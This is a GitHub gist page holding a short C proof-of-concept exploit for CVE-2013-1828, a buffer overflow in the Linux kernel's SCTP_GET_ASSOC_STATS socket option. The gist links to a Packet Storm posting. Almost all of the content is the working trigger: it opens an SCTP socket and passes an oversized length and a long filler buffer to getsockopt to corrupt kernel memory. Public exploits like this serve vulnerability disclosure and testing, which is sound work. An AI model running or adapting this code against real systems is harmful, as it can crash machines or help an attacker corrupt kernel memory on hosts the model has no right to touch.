Created
March 14, 2013 03:54
-
-
Save hellok/5158695 to your computer and use it in GitHub Desktop.
CVE-2013-1828 Linux Kernel SCTP_GET_ASSOC_STATS() Buffer Overflow
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Linux Kernel SCTP_GET_ASSOC_STATS() Buffer Overflow | |
http://packetstormsecurity.com/files/120789/sctpgetassoc-local.txt | |
#include <stdio.h> | |
#include <string.h> | |
#include <netinet/in.h> | |
#include <sys/socket.h> | |
#define SCTP_GET_ASSOC_STATS 112 | |
#define SOL_SCTP 132 | |
int main(void) | |
{ | |
char *buf = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; | |
socklen_t len = strlen(buf); | |
int fd; | |
fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP); | |
getsockopt(fd, SOL_SCTP, SCTP_GET_ASSOC_STATS, buf, &len); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment